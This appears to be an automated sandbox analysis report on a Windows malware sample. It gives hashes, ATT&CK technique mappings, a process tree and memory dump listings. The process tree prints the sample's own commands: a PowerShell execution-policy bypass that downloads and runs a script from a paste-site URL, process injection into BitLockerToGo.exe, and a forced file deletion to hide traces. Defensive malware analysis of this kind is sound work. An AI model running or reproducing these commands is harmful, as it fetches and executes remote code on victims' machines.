88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c

General

Target

88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe
Size

4.7MB
MD5

3ed2333986c7d9012d1c7f8a7cfad93b
SHA1

92d6b57a189b8b3bb5901276ecf4b7acd0b15d49
SHA256

88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c
SHA512

6351f752ed3e7dcf5f1e2e51e732077bae46ab2b66f8941b68559523f45b05a1e5dc467b832f1294c333e56f892abf23fdce37b38e579fd7da47f733ecad0b76
SSDEEP

49152:qJkvJrYhZdQ6wxU7egfzI6RvCX9Y4ajiBvpt6EbmDHVEwDne4jt5E9kh33GTPA3K:bih0o5K94itNOxnE9khcI3Fk

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	892	powershell.exe
4	892	powershell.exe
5	892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
892	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1116 set thread context of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
892	powershell.exe
892	powershell.exe
892	powershell.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	892	powershell.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe
Token: SeDebugPrivilege	4224	whoami.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83
PID 1116 wrote to memory of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83
PID 1116 wrote to memory of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83
PID 1116 wrote to memory of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83
PID 1116 wrote to memory of 2276	1116	88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe	83
PID 2276 wrote to memory of 892	2276	BitLockerToGo.exe	84
PID 2276 wrote to memory of 892	2276	BitLockerToGo.exe	84
PID 2276 wrote to memory of 892	2276	BitLockerToGo.exe	84
PID 2276 wrote to memory of 4540	2276	BitLockerToGo.exe	86
PID 2276 wrote to memory of 4540	2276	BitLockerToGo.exe	86
PID 2276 wrote to memory of 4540	2276	BitLockerToGo.exe	86
PID 892 wrote to memory of 4224	892	powershell.exe	89
PID 892 wrote to memory of 4224	892	powershell.exe	89
PID 892 wrote to memory of 4224	892	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe
"C:\Users\Admin\AppData\Local\Temp\88fc2f8eb9c8bcd55aac25400b1ade16ca86b67ac26dcfbbc48fe0dddec0596c.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/3x38v3phae6o5fkexuwrvtfk/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:892
  - - C:\Windows\SysWOW64\whoami.exe
      "C:\Windows\system32\whoami.exe" /groups /fo csv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svgcxxyh.wkd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/892-27-0x0000000005D50000-0x0000000005D6E000-memory.dmp

Filesize
120KB

Download
memory/892-140-0x0000000074F50000-0x0000000075701000-memory.dmp

Filesize
7.7MB

Download
memory/892-26-0x0000000005870000-0x0000000005BC7000-memory.dmp

Filesize
3.3MB

Download
memory/892-142-0x0000000009770000-0x0000000009802000-memory.dmp

Filesize
584KB

Download
memory/892-139-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/892-40-0x0000000004BB0000-0x0000000004BC2000-memory.dmp

Filesize
72KB

Download
memory/892-28-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

Filesize
304KB

Download
memory/892-12-0x0000000004900000-0x0000000004936000-memory.dmp

Filesize
216KB

Download
memory/892-13-0x0000000074F50000-0x0000000075701000-memory.dmp

Filesize
7.7MB

Download
memory/892-14-0x0000000004F70000-0x000000000559A000-memory.dmp

Filesize
6.2MB

Download
memory/892-15-0x0000000004EB0000-0x0000000004ED2000-memory.dmp

Filesize
136KB

Download
memory/892-16-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/892-17-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/892-38-0x0000000074F50000-0x0000000075701000-memory.dmp

Filesize
7.7MB

Download
memory/892-148-0x0000000074F50000-0x0000000075701000-memory.dmp

Filesize
7.7MB

Download
memory/892-37-0x0000000009C20000-0x000000000A1C6000-memory.dmp

Filesize
5.6MB

Download
memory/892-11-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/892-36-0x0000000007300000-0x0000000007322000-memory.dmp

Filesize
136KB

Download
memory/892-30-0x0000000007390000-0x0000000007A0A000-memory.dmp

Filesize
6.5MB

Download
memory/892-31-0x0000000006250000-0x000000000626A000-memory.dmp

Filesize
104KB

Download
memory/892-32-0x0000000007230000-0x000000000723A000-memory.dmp

Filesize
40KB

Download
memory/892-33-0x0000000009140000-0x000000000966C000-memory.dmp

Filesize
5.2MB

Download
memory/892-34-0x0000000008DE0000-0x0000000008FA2000-memory.dmp

Filesize
1.8MB

Download
memory/892-35-0x0000000008C10000-0x0000000008CA6000-memory.dmp

Filesize
600KB

Download
memory/1116-5-0x00007FF72EA40000-0x00007FF72EF55000-memory.dmp

Filesize
5.1MB

Download
memory/1116-0-0x00007FF72EA40000-0x00007FF72EF55000-memory.dmp

Filesize
5.1MB

Download
memory/1116-7-0x00007FF72EA40000-0x00007FF72EF55000-memory.dmp

Filesize
5.1MB

Download
memory/2276-29-0x0000000001080000-0x00000000010A3000-memory.dmp

Filesize
140KB

Download
memory/2276-6-0x0000000001080000-0x00000000010A3000-memory.dmp

Filesize
140KB

Download
memory/2276-10-0x0000000001080000-0x00000000010A3000-memory.dmp

Filesize
140KB

Download
memory/2276-8-0x0000000001080000-0x00000000010A3000-memory.dmp

Filesize
140KB

Download
memory/2276-9-0x0000000001080000-0x00000000010A3000-memory.dmp

Filesize
140KB

Download

Analysis

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